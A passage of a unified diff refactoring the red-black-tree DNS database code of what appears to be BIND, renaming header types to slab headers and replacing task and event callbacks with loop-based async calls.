 	dns_rbtnodechain_t nsec3chain;
 	dns_rbtnodechain_t *current;
 	dns_rbtnode_t *node;
-	dns_rbtnode_t *deletions[DELETION_BATCH_MAX];
-	int delcnt;
 	bool nsec3only;
 	bool nonsec3;
 } rbtdb_dbiterator_t;
 
-#define IS_STUB(rbtdb)	(((rbtdb)->common.attributes & DNS_DBATTR_STUB) != 0)
-#define IS_CACHE(rbtdb) (((rbtdb)->common.attributes & DNS_DBATTR_CACHE) != 0)
-
-static void
-free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event);
 static void
-overmem(dns_db_t *db, bool over);
+free_rbtdb(dns_rbtdb_t *rbtdb, bool log);
 static void
-setnsec3parameters(dns_db_t *db, rbtdb_version_t *version);
-static void
-setownercase(rdatasetheader_t *header, const dns_name_t *name);
-
-static bool
-match_header_version(rbtdb_file_header_t *header);
-
-/* Pad to 32 bytes */
-static char FILE_VERSION[32] = "\0";
+setnsec3parameters(dns_db_t *db, dns_rbtdb_version_t *version);
 
 /*%
  * 'init_count' is used to initialize 'newheader->count' which inturn
  * is used to determine where in the cycle rrset-order cyclic starts.
  * We don't lock this as we don't care about simultaneous updates.
- *
- * Note:
- *      Both init_count and header->count can be UINT32_MAX.
- *      The count on the returned rdataset however can't be as
- *      that indicates that the database does not implement cyclic
- *      processing.
  */
-static atomic_uint_fast32_t init_count = ATOMIC_VAR_INIT(0);
+static atomic_uint_fast16_t init_count = 0;
 
 /*
  * Locking
@@ -780,125 +265,34 @@ static atomic_uint_fast32_t init_count = ATOMIC_VAR_INIT(0);
  * For zone databases the node for the origin of the zone MUST NOT be deleted.
  */
 
-/*
- * Debugging routines
- */
-#ifdef DEBUG
-static void
-hexdump(const char *desc, unsigned char *data, size_t size) {
-	char hexdump[BUFSIZ * 2 + 1];
-	isc_buffer_t b;
-	isc_region_t r;
-	isc_result_t result;
-	size_t bytes;
-
-	fprintf(stderr, "%s: ", desc);
-	do {
-		isc_buffer_init(&b, hexdump, sizeof(hexdump));
-		r.base = data;
-		r.length = bytes = (size > BUFSIZ) ? BUFSIZ : size;
-		result = isc_hex_totext(&r, 0, "", &b);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		isc_buffer_putuint8(&b, 0);
-		fprintf(stderr, "%s", hexdump);
-		data += bytes;
-		size -= bytes;
-	} while (size > 0);
-	fprintf(stderr, "\n");
-}
-#endif /* ifdef DEBUG */
-
-/* Fixed RRSet helper macros */
-
-#define DNS_RDATASET_LENGTH 2;
-
-#if DNS_RDATASET_FIXED
-#define DNS_RDATASET_ORDER 2
-#define DNS_RDATASET_COUNT (count * 4)
-#else /* !DNS_RDATASET_FIXED */
-#define DNS_RDATASET_ORDER 0
-#define DNS_RDATASET_COUNT 0
-#endif /* DNS_RDATASET_FIXED */
-
 /*
  * DB Routines
  */
 
 static void
-attach(dns_db_t *source, dns_db_t **targetp) {
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)source;
-
-	REQUIRE(VALID_RBTDB(rbtdb));
-
-	isc_refcount_increment(&rbtdb->references);
-
-	*targetp = source;
-}
-
-static void
-free_rbtdb_callback(isc_task_t *task, isc_event_t *event) {
-	dns_rbtdb_t *rbtdb = event->ev_arg;
-
-	UNUSED(task);
-
-	free_rbtdb(rbtdb, true, event);
-}
-
-static void
-update_cachestats(dns_rbtdb_t *rbtdb, isc_result_t result) {
-	INSIST(IS_CACHE(rbtdb));
-
-	if (rbtdb->cachestats == NULL) {
-		return;
-	}
-
-	switch (result) {
-	case ISC_R_SUCCESS:
-	case DNS_R_CNAME:
-	case DNS_R_DNAME:
-	case DNS_R_DELEGATION:
-	case DNS_R_NCACHENXDOMAIN:
-	case DNS_R_NCACHENXRRSET:
-		isc_stats_increment(rbtdb->cachestats,
-				    dns_cachestatscounter_hits);
-		break;
-	default:
-		isc_stats_increment(rbtdb->cachestats,
-				    dns_cachestatscounter_misses);
-	}
-}
-
-static bool
-do_stats(rdatasetheader_t *header) {
-	return (EXISTS(header) && STATCOUNT(header));
-}
-
-static void
-update_rrsetstats(dns_rbtdb_t *rbtdb, const rbtdb_rdatatype_t htype,
+update_rrsetstats(dns_stats_t *stats, const dns_typepair_t htype,
 		  const uint_least16_t hattributes, const bool increment) {
 	dns_rdatastatstype_t statattributes = 0;
 	dns_rdatastatstype_t base = 0;
 	dns_rdatastatstype_t type;
-	rdatasetheader_t *header = &(rdatasetheader_t){
-		.type = htype, .attributes = ATOMIC_VAR_INIT(hattributes)
+	dns_slabheader_t *header = &(dns_slabheader_t){
+		.type = htype,
+		.attributes = hattributes,
 	};
 
-	if (!do_stats(header)) {
+	if (!EXISTS(header) || !STATCOUNT(header)) {
 		return;
 	}
 
-	/* At the moment we count statistics only for cache DB */
-	INSIST(IS_CACHE(rbtdb));
-
 	if (NEGATIVE(header)) {
 		if (NXDOMAIN(header)) {
 			statattributes = DNS_RDATASTATSTYPE_ATTR_NXDOMAIN;
 		} else {
 			statattributes = DNS_RDATASTATSTYPE_ATTR_NXRRSET;
-			base = RBTDB_RDATATYPE_EXT(header->type);
+			base = DNS_TYPEPAIR_COVERS(header->type);
 		}
 	} else {
-		base = RBTDB_RDATATYPE_BASE(header->type);
+		base = DNS_TYPEPAIR_TYPE(header->type);
 	}
 
 	if (STALE(header)) {
@@ -910,44 +304,34 @@ update_rrsetstats(dns_rbtdb_t *rbtdb, const rbtdb_rdatatype_t htype,
 
 	type = DNS_RDATASTATSTYPE_VALUE(base, statattributes);
 	if (increment) {
-		dns_rdatasetstats_increment(rbtdb->rrsetstats, type);
+		dns_rdatasetstats_increment(stats, type);
 	} else {
-		dns_rdatasetstats_decrement(rbtdb->rrsetstats, type);
+		dns_rdatasetstats_decrement(stats, type);
 	}
 }
 
-static void
-set_ttl(dns_rbtdb_t *rbtdb, rdatasetheader_t *header, dns_ttl_t newttl) {
-	int idx;
-	isc_heap_t *heap;
-	dns_ttl_t oldttl;
+void
+dns__rbtdb_setttl(dns_slabheader_t *header, dns_ttl_t newttl) {
+	dns_ttl_t oldttl = header->ttl;
 
-	if (!IS_CACHE(rbtdb)) {
-		header->rdh_ttl = newttl;
+	header->ttl = newttl;
+
+	if (header->db == NULL || !dns_db_iscache(header->db)) {
 		return;
 	}
 
-	oldttl = header->rdh_ttl;
-	header->rdh_ttl = newttl;
-
 	/*
-	 * It's possible the rbtdb is not a cache.  If this is the case,
-	 * we will not have a heap, and we move on.  If we do, though,
-	 * we might need to adjust things.
+	 * This is a cache. Adjust the heaps if necessary.
 	 */
-	if (header->heap_index == 0 || newttl == oldttl) {
-		return;
-	}
-	idx = header->node->locknum;
-	if (rbtdb->heaps == NULL || rbtdb->heaps[idx] == NULL) {
+	if (header->heap == NULL || header->heap_index == 0 || newttl == oldttl)
+	{
 		return;
 	}
-	heap = rbtdb->heaps[idx];
 
 	if (newttl < oldttl) {
-		isc_heap_increased(heap, header->heap_index);
+		isc_heap_increased(header->heap, header->heap_index);
 	} else {
-		isc_heap_decreased(heap, header->heap_index);
+		isc_heap_decreased(header->heap, header->heap_index);
 	}
 }
 
@@ -957,10 +341,10 @@ set_ttl(dns_rbtdb_t *rbtdb, rdatasetheader_t *header, dns_ttl_t newttl) {
  */
 static bool
 ttl_sooner(void *v1, void *v2) {
-	rdatasetheader_t *h1 = v1;
-	rdatasetheader_t *h2 = v2;
+	dns_slabheader_t *h1 = v1;
+	dns_slabheader_t *h2 = v2;
 
-	return (h1->rdh_ttl < h2->rdh_ttl);
+	return (h1->ttl < h2->ttl);
 }
 
 /*%
@@ -969,8 +353,8 @@ ttl_sooner(void *v1, void *v2) {
  */
 static bool
 resign_sooner(void *v1, void *v2) {
-	rdatasetheader_t *h1 = v1;
-	rdatasetheader_t *h2 = v2;
+	dns_slabheader_t *h1 = v1;
+	dns_slabheader_t *h2 = v2;
 
 	return (h1->resign < h2->resign ||
 		(h1->resign == h2->resign && h1->resign_lsb < h2->resign_lsb) ||
@@ -983,7 +367,7 @@ resign_sooner(void *v1, void *v2) {
  */
 static void
 set_index(void *what, unsigned int idx) {
-	rdatasetheader_t *h = what;
+	dns_slabheader_t *h = what;
 
 	h->heap_index = idx;
 }
@@ -1005,7 +389,7 @@ adjust_quantum(unsigned int old, isc_time_t *start) {
 	if (pps < 100) {
 		pps = 100;
 	}
-	isc_time_now(&end);
+	end = isc_time_now();
 
 	interval = 1000000 / pps; /* interval in usec */
 	if (interval == 0) {
@@ -1044,29 +428,32 @@ adjust_quantum(unsigned int old, isc_time_t *start) {
 }
 
 static void
-free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
+free_rbtdb_callback(void *arg) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)arg;
+
+	free_rbtdb(rbtdb, true);
+}
+
+static void
+free_rbtdb(dns_rbtdb_t *rbtdb, bool log) {
 	unsigned int i;
 	isc_result_t result;
 	char buf[DNS_NAME_FORMATSIZE];
-	dns_rbt_t **treep;
+	dns_rbt_t **treep = NULL;
 	isc_time_t start;
-	dns_dbonupdatelistener_t *listener, *listener_next;
-
-	if (IS_CACHE(rbtdb) && rbtdb->common.rdclass == dns_rdataclass_in) {
-		overmem((dns_db_t *)rbtdb, (bool)-1);
-	}
 
 	REQUIRE(rbtdb->current_version != NULL || EMPTY(rbtdb->open_versions));
 	REQUIRE(rbtdb->future_version == NULL);
 
 	if (rbtdb->current_version != NULL) {
 		isc_refcount_decrementz(&rbtdb->current_version->references);
-		UNLINK(rbtdb->open_versions, rbtdb->current_version, link);
-		isc_rwlock_destroy(&rbtdb->current_version->glue_rwlock);
+
 		isc_refcount_destroy(&rbtdb->current_version->references);
+		UNLINK(rbtdb->open_versions, rbtdb->current_version, link);
+		cds_wfs_destroy(&rbtdb->current_version->glue_stack);
 		isc_rwlock_destroy(&rbtdb->current_version->rwlock);
 		isc_mem_put(rbtdb->common.mctx, rbtdb->current_version,
-			    sizeof(rbtdb_version_t));
+			    sizeof(*rbtdb->current_version));
 	}
 
 	/*
@@ -1074,7 +461,7 @@ free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
 	 * the overhead of unlinking all nodes here should be negligible.
 	 */
 	for (i = 0; i < rbtdb->node_lock_count; i++) {
-		dns_rbtnode_t *node;
+		dns_rbtnode_t *node = NULL;
 
 		node = ISC_LIST_HEAD(rbtdb->deadnodes[i]);
 		while (node != NULL) {
@@ -1083,9 +470,7 @@ free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
 		}
 	}
 
-	if (event == NULL) {
-		rbtdb->quantum = (rbtdb->task != NULL) ? 100 : 0;
-	}
+	rbtdb->quantum = (rbtdb->loop != NULL) ? 100 : 0;
 
 	for (;;) {
 		/*
@@ -1105,30 +490,20 @@ free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
 			}
 		}
 
-		isc_time_now(&start);
+		start = isc_time_now();
 		result = dns_rbt_destroy2(treep, rbtdb->quantum);
 		if (result == ISC_R_QUOTA) {
-			INSIST(rbtdb->task != NULL);
+			INSIST(rbtdb->loop != NULL);
 			if (rbtdb->quantum != 0) {
 				rbtdb->quantum = adjust_quantum(rbtdb->quantum,
 								&start);
 			}
-			if (event == NULL) {
-				event = isc_event_allocate(
-					rbtdb->common.mctx, NULL,
-					DNS_EVENT_FREESTORAGE,
-					free_rbtdb_callback, rbtdb,
-					sizeof(isc_event_t));
-			}
-			isc_task_send(rbtdb->task, &event);
+			isc_async_run(rbtdb->loop, free_rbtdb_callback, rbtdb);
 			return;
 		}
 		INSIST(result == ISC_R_SUCCESS && *treep == NULL);
 	}
 
-	if (event != NULL) {
-		isc_event_free(&event);
-	}
 	if (log) {
 		if (dns_name_dynamic(&rbtdb->common.origin)) {
 			dns_name_format(&rbtdb->common.origin, buf,
@@ -1151,13 +526,13 @@ free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
 	/*
 	 * Clean up LRU / re-signing order lists.
 	 */
-	if (rbtdb->rdatasets != NULL) {
+	if (rbtdb->lru != NULL) {
 		for (i = 0; i < rbtdb->node_lock_count; i++) {
-			INSIST(ISC_LIST_EMPTY(rbtdb->rdatasets[i]));
+			INSIST(ISC_LIST_EMPTY(rbtdb->lru[i]));
 		}
-		isc_mem_put(rbtdb->common.mctx, rbtdb->rdatasets,
-			    rbtdb->node_lock_count *
-				    sizeof(rdatasetheaderlist_t));
+		isc_mem_cput(rbtdb->common.mctx, rbtdb->lru,
+			     rbtdb->node_lock_count,
+			     sizeof(dns_slabheaderlist_t));
 	}
 	/*
 	 * Clean up dead node buckets.
@@ -1166,8 +541,8 @@ free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
 		for (i = 0; i < rbtdb->node_lock_count; i++) {
 			INSIST(ISC_LIST_EMPTY(rbtdb->deadnodes[i]));
 		}
-		isc_mem_put(rbtdb->common.mctx, rbtdb->deadnodes,
-			    rbtdb->node_lock_count * sizeof(rbtnodelist_t));
+		isc_mem_cput(rbtdb->common.mctx, rbtdb->deadnodes,
+			     rbtdb->node_lock_count, sizeof(dns_rbtnodelist_t));
 	}
 	/*
 	 * Clean up heap objects.
@@ -1176,8 +551,8 @@ free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
 		for (i = 0; i < rbtdb->node_lock_count; i++) {
 			isc_heap_destroy(&rbtdb->heaps[i]);
 		}
-		isc_mem_put(rbtdb->hmctx, rbtdb->heaps,
-			    rbtdb->node_lock_count * sizeof(isc_heap_t *));
+		isc_mem_cput(rbtdb->hmctx, rbtdb->heaps, rbtdb->node_lock_count,
+			     sizeof(isc_heap_t *));
 	}
 
 	if (rbtdb->rrsetstats != NULL) {
@@ -1190,12 +565,12 @@ free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
 		isc_stats_detach(&rbtdb->gluecachestats);
 	}
 
-	isc_mem_put(rbtdb->common.mctx, rbtdb->node_locks,
-		    rbtdb->node_lock_count * sizeof(rbtdb_nodelock_t));
-	isc_rwlock_destroy(&rbtdb->tree_lock);
-	isc_refcount_destroy(&rbtdb->references);
-	if (rbtdb->task != NULL) {
-		isc_task_detach(&rbtdb->task);
+	isc_mem_cput(rbtdb->common.mctx, rbtdb->node_locks,
+		     rbtdb->node_lock_count, sizeof(rbtdb_nodelock_t));
+	TREE_DESTROYLOCK(&rbtdb->tree_lock);
+	isc_refcount_destroy(&rbtdb->common.references);
+	if (rbtdb->loop != NULL) {
+		isc_loop_detach(&rbtdb->loop);
 	}
 
 	RBTDB_DESTROYLOCK(&rbtdb->lock);
@@ -1203,24 +578,16 @@ free_rbtdb(dns_rbtdb_t *rbtdb, bool log, isc_event_t *event) {
 	rbtdb->common.impmagic = 0;
 	isc_mem_detach(&rbtdb->hmctx);
 
-	if (rbtdb->mmap_location != NULL) {
-		isc_file_munmap(rbtdb->mmap_location, (size_t)rbtdb->mmap_size);
-	}
-
-	for (listener = ISC_LIST_HEAD(rbtdb->common.update_listeners);
-	     listener != NULL; listener = listener_next)
-	{
-		listener_next = ISC_LIST_NEXT(listener, link);
-		ISC_LIST_UNLINK(rbtdb->common.update_listeners, listener, link);
-		isc_mem_put(rbtdb->common.mctx, listener,
-			    sizeof(dns_dbonupdatelistener_t));
+	if (rbtdb->common.update_listeners != NULL) {
+		INSIST(!cds_lfht_destroy(rbtdb->common.update_listeners, NULL));
 	}
 
 	isc_mem_putanddetach(&rbtdb->common.mctx, rbtdb, sizeof(*rbtdb));
 }
 
-static inline void
-maybe_free_rbtdb(dns_rbtdb_t *rbtdb) {
+void
+dns__rbtdb_destroy(dns_db_t *arg) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)arg;
 	bool want_free = false;
 	unsigned int i;
 	unsigned int inactive = 0;
@@ -1248,13 +615,14 @@ maybe_free_rbtdb(dns_rbtdb_t *rbtdb) {
 	 * may be nodes in use.
 	 */
 	for (i = 0; i < rbtdb->node_lock_count; i++) {
-		NODE_LOCK(&rbtdb->node_locks[i].lock, isc_rwlocktype_write);
+		isc_rwlocktype_t nodelock = isc_rwlocktype_none;
+		NODE_WRLOCK(&rbtdb->node_locks[i].lock, &nodelock);
 		rbtdb->node_locks[i].exiting = true;
 		if (isc_refcount_current(&rbtdb->node_locks[i].references) == 0)
 		{
 			inactive++;
 		}
-		NODE_UNLOCK(&rbtdb->node_locks[i].lock, isc_rwlocktype_write);
+		NODE_UNLOCK(&rbtdb->node_locks[i].lock, &nodelock);
 	}
 
 	if (inactive != 0) {
@@ -1275,26 +643,15 @@ maybe_free_rbtdb(dns_rbtdb_t *rbtdb) {
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
 				      DNS_LOGMODULE_CACHE, ISC_LOG_DEBUG(1),
 				      "calling free_rbtdb(%s)", buf);
-			free_rbtdb(rbtdb, true, NULL);
+			free_rbtdb(rbtdb, true);
 		}
 	}
 }
 
-static void
-detach(dns_db_t **dbp) {
-	REQUIRE(dbp != NULL && VALID_RBTDB((dns_rbtdb_t *)(*dbp)));
-	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)(*dbp);
-	*dbp = NULL;
-
-	if (isc_refcount_decrement(&rbtdb->references) == 1) {
-		maybe_free_rbtdb(rbtdb);
-	}
-}
-
-static void
-currentversion(dns_db_t *db, dns_dbversion_t **versionp) {
+void
+dns__rbtdb_currentversion(dns_db_t *db, dns_dbversion_t **versionp) {
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	rbtdb_version_t *version;
+	dns_rbtdb_version_t *version = NULL;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
 
@@ -1306,39 +663,29 @@ currentversion(dns_db_t *db, dns_dbversion_t **versionp) {
 	*versionp = (dns_dbversion_t *)version;
 }
 
-static inline rbtdb_version_t *
-allocate_version(isc_mem_t *mctx, rbtdb_serial_t serial,
-		 unsigned int references, bool writer) {
-	rbtdb_version_t *version;
-	size_t size;
+static dns_rbtdb_version_t *
+allocate_version(isc_mem_t *mctx, uint32_t serial, unsigned int references,
+		 bool writer) {
+	dns_rbtdb_version_t *version = isc_mem_get(mctx, sizeof(*version));
+	*version = (dns_rbtdb_version_t){
+		.serial = serial,
+		.writer = writer,
+		.changed_list = ISC_LIST_INITIALIZER,
+		.resigned_list = ISC_LIST_INITIALIZER,
+		.link = ISC_LINK_INITIALIZER,
+	};
 
-	version = isc_mem_get(mctx, sizeof(*version));
-	version->serial = serial;
+	cds_wfs_init(&version->glue_stack);
 
 	isc_refcount_init(&version->references, references);
-	isc_rwlock_init(&version->glue_rwlock, 0, 0);
-
-	version->glue_table_bits = RBTDB_GLUE_TABLE_INIT_BITS;
-	version->glue_table_nodecount = 0U;
-
-	size = HASHSIZE(version->glue_table_bits) *
-	       sizeof(version->glue_table[0]);
-	version->glue_table = isc_mem_get(mctx, size);
-	memset(version->glue_table, 0, size);
-
-	version->writer = writer;
-	version->commit_ok = false;
-	ISC_LIST_INIT(version->changed_list);
-	ISC_LIST_INIT(version->resigned_list);
-	ISC_LINK_INIT(version, link);
 
 	return (version);
 }
 
-static isc_result_t
-newversion(dns_db_t *db, dns_dbversion_t **versionp) {
+isc_result_t
+dns__rbtdb_newversion(dns_db_t *db, dns_dbversion_t **versionp) {
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	rbtdb_version_t *version;
+	dns_rbtdb_version_t *version = NULL;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
 	REQUIRE(versionp != NULL && *versionp == NULL);
@@ -1366,7 +713,7 @@ newversion(dns_db_t *db, dns_dbversion_t **versionp) {
 		version->salt_length = 0;
 		memset(version->salt, 0, sizeof(version->salt));
 	}
-	isc_rwlock_init(&version->rwlock, 0, 0);
+	isc_rwlock_init(&version->rwlock);
 	RWLOCK(&rbtdb->current_version->rwlock, isc_rwlocktype_read);
 	version->records = rbtdb->current_version->records;
 	version->xfrsize = rbtdb->current_version->xfrsize;
@@ -1380,11 +727,11 @@ newversion(dns_db_t *db, dns_dbversion_t **versionp) {
 	return (ISC_R_SUCCESS);
 }
 
-static void
-attachversion(dns_db_t *db, dns_dbversion_t *source,
-	      dns_dbversion_t **targetp) {
+void
+dns__rbtdb_attachversion(dns_db_t *db, dns_dbversion_t *source,
+			 dns_dbversion_t **targetp) {
 	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
-	rbtdb_version_t *rbtversion = source;
+	dns_rbtdb_version_t *rbtversion = source;
 
 	REQUIRE(VALID_RBTDB(rbtdb));
 	INSIST(rbtversion != NULL && rbtversion->rbtdb == rbtdb);
@@ -1395,8 +742,10 @@ attachversion(dns_db_t *db, dns_dbversion_t *source,
 }
 
 static rbtdb_changed_t *
-add_changed(dns_rbtdb_t *rbtdb, rbtdb_version_t *version, dns_rbtnode_t *node) {
-	rbtdb_changed_t *changed;
+add_changed(dns_slabheader_t *header,
+	    dns_rbtdb_version_t *version DNS__DB_FLARG) {
+	rbtdb_changed_t *changed = NULL;
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)header->db;
 
 	/*
 	 * Caller must be holding the node lock if its reference must be
@@ -1410,7 +759,15 @@ add_changed(dns_rbtdb_t *rbtdb, rbtdb_version_t *version, dns_rbtnode_t *node) {
 	REQUIRE(version->writer);
 
 	if (changed != NULL) {
-		isc_refcount_increment(&node->references);
+		dns_rbtnode_t *node = (dns_rbtnode_t *)header->node;
+		uint_fast32_t refs = isc_refcount_increment(&node->references);
+#if DNS_DB_NODETRACE
+		fprintf(stderr,
+			"incr:node:%s:%s:%u:%p->references = %" PRIuFAST32 "\n",
+			func, file, line, node, refs + 1);
+#else
+		UNUSED(refs);
+#endif
 		changed->node = node;
 		changed->dirty = false;
 		ISC_LIST_INITANDAPPEND(version->changed_list, changed, link);
@@ -1423,134 +780,9 @@ add_changed(dns_rbtdb_t *rbtdb, rbtdb_version_t *version, dns_rbtnode_t *node) {
 	return (changed);
 }
 
-static inline void
-free_noqname(isc_mem_t *mctx, struct noqname **noqname) {
-	if (dns_name_dynamic(&(*noqname)->name)) {
-		dns_name_free(&(*noqname)->name, mctx);
-	}
-	if ((*noqname)->neg != NULL) {
-		isc_mem_put(mctx, (*noqname)->neg,
-			    dns_rdataslab_size((*noqname)->neg, 0));
-	}
-	if ((*noqname)->negsig != NULL) {
-		isc_mem_put(mctx, (*noqname)->negsig,
-			    dns_rdataslab_size((*noqname)->negsig, 0));
-	}
-	isc_mem_put(mctx, *noqname, sizeof(**noqname));
-	*noqname = NULL;
-}
-
-static inline void
-init_rdataset(dns_rbtdb_t *rbtdb, rdatasetheader_t *h) {
-	ISC_LINK_INIT(h, link);
-	h->heap_index = 0;
-	h->is_mmapped = 0;
-	h->next_is_relative = 0;
-	h->node_is_relative = 0;
-	atomic_init(&h->attributes, 0);
-	atomic_init(&h->last_refresh_fail_ts, 0);
-
-#ifndef ISC_MUTEX_ATOMICS
-	STATIC_ASSERT((sizeof(h->attributes) == 2),
-		      "The .attributes field of rdatasetheader_t needs to be "
-		      "16-bit int type exactly.");
-#endif /* !ISC_MUTEX_ATOMICS */
-
-#if TRACE_HEADER
-	if (IS_CACHE(rbtdb) && rbtdb->common.rdclass == dns_rdataclass_in) {
-		fprintf(stderr, "initialized header: %p\n", h);
-	}
-#else  /* if TRACE_HEADER */
-	UNUSED(rbtdb);
-#endif /* if TRACE_HEADER */
-}
-
-/*
- * Update the copied values of 'next' and 'node' if they are relative.
- */
 static void
-update_newheader(rdatasetheader_t *newh, rdatasetheader_t *old) {
-	char *p;
-
-	if (old->next_is_relative) {
-		p = (char *)old;
-		p += (uintptr_t)old->next;
-		newh->next = (rdatasetheader_t *)p;
-	}
-	if (old->node_is_relative) {
-		p = (char *)old;
-		p += (uintptr_t)old->node;
-		newh->node = (dns_rbtnode_t *)p;
-	}
-	if (CASESET(old)) {
-		uint_least16_t attr = RDATASET_ATTR_GET(
-			old,
-			(RDATASET_ATTR_CASESET | RDATASET_ATTR_CASEFULLYLOWER));
-		RDATASET_ATTR_SET(newh, attr);
-		memmove(newh->upper, old->upper, sizeof(old->upper));
-	}
-}
-
-static inline rdatasetheader_t *
-new_rdataset(dns_rbtdb_t *rbtdb, isc_mem_t *mctx) {
-	rdatasetheader_t *h;
-
-	h = isc_mem_get(mctx, sizeof(*h));
-
-#if TRACE_HEADER
-	if (IS_CACHE(rbtdb) && rbtdb->common.rdclass == dns_rdataclass_in) {
-		fprintf(stderr, "allocated header: %p\n", h);
-	}
-#endif /* if TRACE_HEADER */
-	memset(h->upper, 0xeb, sizeof(h->upper));
-	init_rdataset(rbtdb, h);
-	h->rdh_ttl = 0;
-	return (h);
-}
-
-static inline void
-free_rdataset(dns_rbtdb_t *rbtdb, isc_mem_t *mctx, rdatasetheader_t *rdataset) {
-	unsigned int size;
-	int idx;
-
-	update_rrsetstats(rbtdb, rdataset->type,
-			  atomic_load_acquire(&rdataset->attributes), false);
-
-	idx = rdataset->node->locknum;
-	if (ISC_LINK_LINKED(rdataset, link)) {
-		INSIST(IS_CACHE(rbtdb));
-		ISC_LIST_UNLINK(rbtdb->rdatasets[idx], rdataset, link);
-	}
-
-	if (rdataset->heap_index != 0) {
-		isc_heap_delete(rbtdb->heaps[idx], rdataset->heap_index);
-	}
-	rdataset->heap_index = 0;
-
-	if (rdataset->noqname != NULL) {
-		free_noqname(mctx, &rdataset->noqname);
-	}
-	if (rdataset->closest != NULL) {
-		free_noqname(mctx, &rdataset->closest);
-	}
-
-	if (NONEXISTENT(rdataset)) {
-		size = sizeof(*rdataset);
-	} else {
-		size = dns_rdataslab_size((unsigned char *)rdataset,
-					  sizeof(*rdataset));
-	}
-
-	if (rdataset->is_mmapped == 1) {
-		return;
-	}
-
-	isc_mem_put(mctx, rdataset, size);
-}
-
-static inline void
-rollback_node(dns_rbtnode_t *node, rbtdb_serial_t serial) {
-	rdatasetheader_t *header, *dcurrent;
+rollback_node(dns_rbtnode_t *node, uint32_t serial) {
+	dns_slabheader_t *header = NULL, *dcurrent = NULL;
 	bool make_dirty = false;
 
 	/*
@@ -1564,14 +796,16 @@ rollback_node(dns_rbtnode_t *node, rbtdb_serial_t serial) {
 	 */
 	for (header = node->data; header != NULL; header = header->next) {
 		if (header->serial == serial) {
-			RDATASET_ATTR_SET(header, RDATASET_ATTR_IGNORE);
+			DNS_SLABHEADER_SETATTR(header,
+					       DNS_SLABHEADERATTR_IGNORE);
 			make_dirty = true;
 		}
 		for (dcurrent = header->down; dcurrent != NULL;
-		     dcurrent = dcurrent->down) {
+		     dcurrent = dcurrent->down)
+		{
 			if (dcurrent->serial == serial) {
-				RDATASET_ATTR_SET(dcurrent,
-						  RDATASET_ATTR_IGNORE);
+				DNS_SLABHEADER_SETATTR(
+					dcurrent, DNS_SLABHEADERATTR_IGNORE);
 				make_dirty = true;
 			}
 		}
@@ -1581,89 +815,63 @@ rollback_node(dns_rbtnode_t *node, rbtdb_serial_t serial) {
 	}
 }
 
-static inline void
-mark_header_ancient(dns_rbtdb_t *rbtdb, rdatasetheader_t *header) {
+void
+dns__rbtdb_mark(dns_slabheader_t *header, uint_least16_t flag) {
 	uint_least16_t attributes = atomic_load_acquire(&header->attributes);
 	uint_least16_t newattributes = 0;
+	dns_stats_t *stats = NULL;
 
 	/*
 	 * If we are already ancient there is nothing to do.
 	 */
 	do {
-		if ((attributes & RDATASET_ATTR_ANCIENT) != 0) {
+		if ((attributes & flag) != 0) {
 			return;
 		}
-		newattributes = attributes | RDATASET_ATTR_ANCIENT;
+		newattributes = attributes | flag;
 	} while (!atomic_compare_exchange_weak_acq_rel(
 		&header->attributes, &attributes, newattributes));
 
 	/*
-	 * Decrement the stats counter for the appropriate RRtype.
-	 * If the STALE attribute is set, this will decrement the
-	 * stale type counter, otherwise it decrements the active
-	 * stats type counter.
+	 * Decrement and increment the stats counter for the appropriate
+	 * RRtype.
 	 */
-	update_rrsetstats(rbtdb, header->type, attributes, false);
-	header->node->dirty = 1;
-
-	/* Increment the stats counter for the ancient RRtype. */
-	update_rrsetstats(rbtdb, header->type, newattributes, true);
+	stats = dns_db_getrrsetstats(header->db);
+	if (stats != NULL) {
+		update_rrsetstats(stats, header->type, attributes, false);
+		update_rrsetstats(stats, header->type, newattributes, true);
+	}
 }
 
-static inline void
-mark_header_stale(dns_rbtdb_t *rbtdb, rdatasetheader_t *header) {
-	uint_least16_t attributes = atomic_load_acquire(&header->attributes);
-	uint_least16_t newattributes = 0;
-
-	INSIST((attributes & RDATASET_ATTR_ZEROTTL) == 0);
-
-	/*
-	 * If we are already stale there is nothing to do.
-	 */
-	do {
-		if ((attributes & RDATASET_ATTR_STALE) != 0) {
-			return;
-		}
-		newattributes = attributes | RDATASET_ATTR_STALE;
-	} while (!atomic_compare_exchange_weak_acq_rel(
-		&header->attributes, &attributes, newattributes));
-
-	/* Decrement the stats counter for the appropriate RRtype.
-	 * If the ANCIENT attribute is set (although it is very
-	 * unlikely that an RRset goes from ANCIENT to STALE), this
-	 * will decrement the ancient stale type counter, otherwise it
-	 * decrements the active stats type counter.
-	 */
-
-	update_rrsetstats(rbtdb, header->type, attributes, false);
-	update_rrsetstats(rbtdb, header->type, newattributes, true);
+static void
+mark_ancient(dns_slabheader_t *header) {
+	dns__rbtdb_setttl(header, 0);
+	dns__rbtdb_mark(header, DNS_SLABHEADERATTR_ANCIENT);
+	HEADER_NODE(header)->dirty = 1;
 }
 
-static inline void
-clean_stale_headers(dns_rbtdb_t *rbtdb, isc_mem_t *mctx,
-		    rdatasetheader_t *top) {
-	rdatasetheader_t *d, *down_next;
+static void
+clean_stale_headers(dns_slabheader_t *top) {
+	dns_slabheader_t *d = NULL, *down_next = NULL;
 
